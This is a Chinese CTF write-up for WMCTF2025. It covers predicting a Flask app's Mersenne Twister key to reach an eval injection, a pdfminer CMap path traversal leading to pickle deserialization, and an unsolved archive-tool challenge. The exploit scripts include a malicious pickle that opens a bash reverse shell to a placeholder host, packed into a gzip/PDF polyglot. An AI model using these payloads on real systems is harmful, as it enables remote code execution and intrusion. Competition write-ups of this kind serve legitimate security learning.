目录

  1. 1. 前言
  2. 2. guess
  3. 3. pdf2text(复现)
  4. 4. Shopping company1(Unsolved)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

WMCTF2025

2025/9/20 CTF线上赛
  |     |   总文章阅读量:

前言

wmc.tf 吗,唉舞萌吃

参考:

MNGA 的 WP:https://wx.zsxq.com/group/824215518412


guess

from flask import Flask, request, jsonify, session, render_template, redirect
import random

rd = random.Random()

def generate_random_string():
    return str(rd.getrandbits(32))

app = Flask(__name__)
app.secret_key = generate_random_string()

users = []

a = generate_random_string()

@app.route('/register', methods=['POST', 'GET'])
def register():
    if request.method == 'GET':
        return render_template('register.html')
    
    data = request.get_json()
    username = data.get('username')
    password = data.get('password')
    
    if not username or not password:
        return jsonify({'error': 'Username and password are required'}), 400
    
    if any(user['username'] == username for user in users):
        return jsonify({'error': 'Username already exists'}), 400
    
    user_id = generate_random_string()
    
    users.append({
        'user_id': user_id,
        'username': username,
        'password': password
    })
    
    return jsonify({
        'message': 'User registered successfully',
        'user_id': user_id
    }), 201



@app.route('/login', methods=['POST', 'GET'])
def login():

    if request.method == 'GET':
        return render_template('login.html')

    data = request.get_json()
    username = data.get('username')
    password = data.get('password')
    
    if not username or not password:
        return jsonify({'error': 'Username and password are required'}), 400
    
    user = next((user for user in users if user['username'] == username and user['password'] == password), None)
    
    if not user:
        return jsonify({'error': 'Invalid credentials'}), 401
    
    session['user_id'] = user['user_id']
    session['username'] = user['username']
    
    return jsonify({
        'message': 'Login successful',
        'user_id': user['user_id']
    }), 200

@app.post('/api')
def protected_api():

    data = request.get_json()

    key1 = data.get('key')
    
    if not key1:
        return jsonify({'error': 'key are required'}), 400

    key2 = generate_random_string()
    
    if not str(key1) == str(key2):
        return jsonify({
            'message': 'Not Allowed:' + str(key2) ,
        }), 403
    

    payload = data.get('payload')

    if payload:
        eval(payload, {'__builtin__':{}})
    
    return jsonify({
        'message': 'Access granted',
    })


@app.route('/')
def index():
    if 'user_id' not in session:
        return redirect('/login')
    
    return render_template('index.html')


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5001)

首先需要满足 str(key1) == str(key2) 才能打 payload,而 key2 是个 rd.getrandbits(32),比较失败的话会返回上一次的 key2

早在 python jail 中我们就知道 random.getrandbits 采用的是 MT19937 算法,这里每次产生 32 bit 随机数,而每产生 624 次随机数就转一转,也就意味着我们能拿到 624 个随机数的话就能求出下一个随机数

先写一个脚本获取 624 个随机数

import requests
import re

url = "http://192.168.31.252:5001/api"

for _ in range(624):
    cookie = {
        "session":
        "eyJ1c2VyX2lkIjoiMTI4Nzk0NiIsInVzZXJuYW1lIjoidGVzdCJ9.aM5xqA.Kpyzj4L7dY02Oqgv8a72Mpq1o6o"
    }
    data = {"key": "a", "payload": ""}
    response = requests.post(url, json=data, cookies=cookie,proxies={"http":"http://127.0.0.1:8083"})
    num = re.search(r"(\d+)", response.text).group(1)
    with open("random.txt", "a") as f:
        f.write(num + "\n")

然后预测,参考:https://blog.csdn.net/qq_57235775/article/details/131168939

from randcrack import RandCrack
from hashlib import md5

with open(r'random.txt', 'r') as f:
    l = f.readlines()
l = [int(i.strip()) for i in l]
arr = []
for i in range(len(l)):
    if i % 3 == 0:
        arr.append(l[i])  #第三位数或三的倍数位就是32位数,直接加入
    elif i % 3 == 1:
        arr.append(l[i] &
                   (2**32 - 1))  #64位数,包含两个32位数,取第一个32位数,64位与32个1按位与,结果剩下低位32位
        arr.append(l[i] >> 32)  #右移32位,保留高位32位
    # else:
    #     arr.append(l[i] & (2**32 - 1))  #保留低32位
    #     arr.append(l[i] & (2**64 - 1) >> 32)  #保留中间32位
    #     arr.append(l[i] >> 64)  #保留高32位
rc = RandCrack()  #解题关键函数
for i in arr:
    rc.submit(i)  #按顺序传入RandCrack函数
flag = rc.predict_getrandbits(32)  #预测下一个32位数
print(str(flag))

这样就能预测每 624 个数的下一个数了,于是就可以打 payload ,结果发现这里有个大非预期

eval(payload, {'__builtin__':{}})

bro 以为自己是 py2,应该是 builtins 的,那直接打了

exp:

import requests
import re
import MT19937_expect

url = "http://49.232.42.74:32642/api"

key = MT19937_expect.expect_mt19937()
# for _ in range(624):
cookie = {
    "session":
    "eyJ1c2VyX2lkIjoiMzc4NzkzOTc3NSIsInVzZXJuYW1lIjoidGVzdCJ9.aM56QQ.z3U3JDKwnAzLDmX4K4Xe23mgqiM"
}
data = {"key": key, "payload": "__import__('os').system('cat /flag > static/1.txt')"}
response = requests.post(url, json=data, cookies=cookie,proxies={"http":"http://127.0.0.1:8083"})
if "Not Allowed:" not in response.text:
    with open("random.txt", "a") as f:
        f.write("\n" + key)
else:
    num = re.search(r"(\d+)", response.text).group(1)
    with open("random.txt", "a") as f:
        f.write("\n" + num)

print(response.text)

pdf2text(复现)

链子跟出来了最后死在传 gz 上了

app.py

from flask import Flask, request, send_file, render_template
from pdfminer.pdfparser import PDFParser
from pdfminer.pdfdocument import PDFDocument
import os, io
from pdfutils import pdf_to_text

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = 'uploads'
app.config['MAX_CONTENT_LENGTH'] = 2 * 1024 * 1024  # 2MB limit

os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True)


@app.route('/')
def index():
    return render_template('index.html')

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return 'No file part', 400
    
    file = request.files['file']
    filename = file.filename
    if filename == '':
        return 'No selected file', 400
    
    if '..' in filename or '/' in filename:
        return 'directory traversal is not allowed', 403 

    pdf_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    pdf_content = file.stream.read()

    try:
        # just if is a pdf
        parser = PDFParser(io.BytesIO(pdf_content))
        doc = PDFDocument(parser)
    except Exception as e:
        return str(e), 500
    
    with open(pdf_path, 'wb') as f:
        f.write(pdf_content)

    md_filename = os.path.splitext(filename)[0] + '.txt'
    txt_path = os.path.join(app.config['UPLOAD_FOLDER'], md_filename)

    try:
        pdf_to_text(pdf_path, txt_path)
    except Exception as e:
        return str(e), 500 
    
    return send_file(txt_path, as_attachment=True)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

pdfutils.py

from pdfminer.high_level import extract_pages
from pdfminer.layout import LTTextContainer

def pdf_to_text(pdf_path, txt_path):
    with open(txt_path, 'w', encoding='utf-8') as txt:
        for page_layout in extract_pages(pdf_path):
            for element in page_layout:
                if isinstance(element, LTTextContainer):
                    txt.write(element.get_text())
                    txt.write('\n')

源码逻辑很简单,文件操作这里把目录穿越 ban 掉了,那估计就是从 pdfminer 自身入手

但是一个 pdf 转文本的库能有什么坏心思呢,总不能专门给个 eval ?稍加思索,在这个库里面搜了一下 pickle.load,结果还真有

hint 也是验证了这一点

多次调试之后得到调用栈如下:

CMapDB.get_cmap
CMapDB._load_data
PDFCIDFont.get_cmap_from_spec
PDFCIDFont.__init__
PDFResourceManager.get_font
PDFPageInterpreter.init_resources
PDFPageInterpreter.render_contents
high_level.extract_pages

而最后这里

@classmethod
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")
    filename = "%s.pickle.gz" % name
    log.debug("loading: %r", name)
    cmap_paths = (
        os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
        os.path.join(os.path.dirname(__file__), "cmap"),
    )
    for directory in cmap_paths:
        path = os.path.join(directory, filename)
        if os.path.exists(path):
            gzfile = gzip.open(path)
            try:
                return type(str(name), (), pickle.loads(gzfile.read()))

很明显 os.path.join 中的 filename 可控就会出现目录穿越的情况

综合一下判断条件可以得到必要的几段,注意 pdf 语法中使用 # 可以实现对 / 进行编码,所以我们可以在值里面添加路径

/Type/Font
/Encoding /#2Fapp#2Fuploads#2F1
/Subtype/CIDFontType0

这样子就能做到 pickle.loads 我们 gzip 压缩后的 pkl 了

接下来就是最艰难的部分了,我们怎么上传一个 gzip 压缩包同时要过 pdf 检测

try:
    # just if is a pdf
    parser = PDFParser(io.BytesIO(pdf_content))
    doc = PDFDocument(parser)
except Exception as e:
    return str(e), 500

测试可以发现 pdf 检测只检测下面这段是否在末尾

trailer
<<
/Root 1 0 R
>> 

但是和正常命令行的 gzip -d 不一样,python 的 gzip 解压缩极其严格,即使在 gzip 包的最后追加明文也会判定为不通过


其实,gzip 可以指定压缩等级,等级为 0 基本都是明文,然后就出了...

exp:

import gzip

source = b"""cos
system
p0
0g0
(S'bash -c "bash -i >& /dev/tcp/vpsip/23333 0>&1"'
tR.
"""
with gzip.open("1.pickle.gz", "wb") as f_out:
    f_out.write(source)

with open("1.pdf", "rb") as fin:
    pdf_content = fin.read()
    data = gzip.compress(pdf_content,0)
    with open("1.pickle.gz", "ab") as f_out:
        f_out.write(data)

1.pdf

%PDF-1.4
%DUMMY
8 0 obj
<<
/PatternType 2
/Shading<<
  /Function<<
    /Domain[0 1]
    /C0[0 0 1]
    /C1[1 0.6 0]
    /N 1
    /FunctionType 2
  >>
  /ShadingType 2
  /Coords[46 400 537 400]
  /Extend[false false]
  /ColorSpace/DeviceRGB
>>
/Type/Pattern
>>
endobj
5 0 obj
<<
/Widths[573 0 582 0 548 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 573 0 573 0 341]
/Type/Font
/BaseFont/PAXEKO+SourceSansPro-Bold
/LastChar 102
/Encoding /#2Fapp#2Fuploads#2F1
/FontMatrix [0.1 0 0 0.1 0 (1\);\nprint\(""\)\n//)]
/Subtype/CIDFontType0
/FirstChar 65
/FontDescriptor 9 0 R
/ToUnicode 11 0 R
>>
endobj
2 0 obj
<<
/Kids[3 0 R]
/Type/Pages
/Count 1
>>
endobj
9 0 obj
<<
/Type/FontDescriptor
/ItalicAngle 0
/Ascent 751
/FontBBox[-6 -12 579 713]
/FontName/PAXEKO+SourceSansPro-Bold
/StemV 100
/CapHeight 713
/Flags 32
/FontFile3 10 0 R
/Descent -173
/MissingWidth 250
>>
endobj
6 0 obj
<<
/Length 128
>>
stream
47 379 489 230 re S
/Pattern cs
BT
  50 500 Td
  117 TL
  /F1 150 Tf
  /P1 scn
  (AbCdEf) Tj
  /P2 scn
  (AbCdEf) '\nET
endstream
endobj
3 0 obj
<<
/Type/Page
/Resources 4 0 R
/Contents 6 0 R
/Parent 2 0 R
/MediaBox[0 0 595.2756 841.8898]
>>
endobj
10 0 obj
<<
/Length 800
/Subtype/Type2
>>
stream

endstream
endobj
7 0 obj
<<
/PatternType 1
/Matrix[1 0 0 1 50 0]
/Length 58
/TilingType 1
/BBox[0 0 16 16]
/YStep 16
/PaintType 1
/Resources<<
>>
/XStep 16
>>
stream
0.65 g
0 0 16 16 re f
0.15 g
0 0 8 8 re f
8 8 8 8 re f
endstream
endobj
4 0 obj
<<
/Pattern<<
  /P1 7 0 R
  /P2 8 0 R
>>
/Font<<
  /F1 5 0 R
>>
>>
endobj
1 0 obj
<<
/Pages 2 0 R
/Type/Catalog
/OpenAction[3 0 R /Fit]
>>
endobj
xref
0 11
0000000000 65535 f
0000002260 00000 n
0000000522 00000 n
0000000973 00000 n
0000002178 00000 n
0000000266 00000 n
0000000794 00000 n
0000001953 00000 n
0000000015 00000 n
0000000577 00000 n
0000001085 00000 n
trailer
<<
/ID[(DUMMY) (DUMMY)]
/Root 1 0 R
/Size 11
>>
startxref
2333
%%EOF

Shopping company1(Unsolved)


@tool def extract_and_analyze_archive(file_url: str) -> str: """ 解压并分析压缩包内容

Args:
    file_url: 压缩包文件的URL路径
    
Returns:
    str: 压缩包内容的分析结果
"""
try:
    print(f"开始处理压缩包: {file_url}")
    
    # 下载文件
    local_file_path = download_file_from_url(file_url)
    if not local_file_path:
        return "无法下载压缩包文件"
    
    # 检查是否为压缩包文件
    if not is_archive_file(local_file_path):
        return "提供的文件不是支持的压缩包格式(支持zip、rar、7z)"
    
    # 创建解压目录
    extract_dir = TEMP_DIR / f"extracted_{os.getpid()}_{Path(local_file_path).stem}"
    extract_dir.mkdir(exist_ok=True)
    
    try:
        # 根据文件类型进行解压
        file_ext = Path(local_file_path).suffix.lower()
        
        if file_ext == '.zip':
            with zipfile.ZipFile(local_file_path, 'r') as zip_ref:
                zip_ref.extractall(extract_dir)
        elif file_ext == '.rar':
            with rarfile.RarFile(local_file_path, 'r') as rar_ref:
                rar_ref.extractall(extract_dir)
        elif file_ext == '.7z':
            with py7zr.SevenZipFile(local_file_path, 'r') as sevenz_ref:
                sevenz_ref.extractall(extract_dir)
        else:
            return f"不支持的压缩包格式: {file_ext}"
        
        print(f"压缩包解压到: {extract_dir}")
        
        # 分析解压后的内容
        analysis_result = analyze_extracted_files(extract_dir)
        
        # 清理临时文件
        try:
            os.remove(local_file_path)
            shutil.rmtree(extract_dir)
        except:
            pass
        
        return analysis_result
        
    except Exception as e:
        # 清理临时文件
        try:
            os.remove(local_file_path)
            if extract_dir.exists():
                shutil.rmtree(extract_dir)
        except:
            pass
        
        return f"解压缩失败:{str(e)}"
        
except Exception as e:
    print(f"压缩包处理失败: {e}")
    return f"压缩包处理过程中出现错误:{str(e)}"